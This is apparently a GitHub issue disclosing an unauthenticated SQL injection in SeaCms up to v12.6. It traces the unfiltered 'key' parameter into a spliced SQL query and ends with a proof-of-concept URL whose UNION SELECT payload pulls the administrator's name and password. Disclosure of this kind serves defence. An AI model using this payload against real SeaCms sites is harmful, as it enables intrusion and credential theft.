Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SeaCms <= v12.6 /js/player/dmplayer/dmku/index.php has Unauthorized Sql Injection #23

Open
du1ge opened this issue Oct 8, 2022 · 0 comments

Comments

@du1ge
Copy link

du1ge commented Oct 8, 2022

There is no verification permission for this file
http://xxx.com/js/player/dmplayer/dmku/index.php
image

In line 50, "ac" is passed in through the GET method, the value of ac is "so", and the logic judgment is entered. The parameter key is passed into the function without any filtering: 搜索弹幕
image

In the function "搜索弹幕", the parameter key is also brought into the "搜索_弹幕池" without any filtering.
image

In the function "搜索_弹幕池", the key is directly spliced ​​into the SQL query statement and causes sql injection.
image

poc:
http://xxx.com/js/player/dmplayer/dmku/index.php?ac=so&key=1%27%20union%20select%20null,null,null,null,null,name,null,null,null,password%20from%20sea_admin%20where%20id=1--%20-
image

Sqlmap:
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant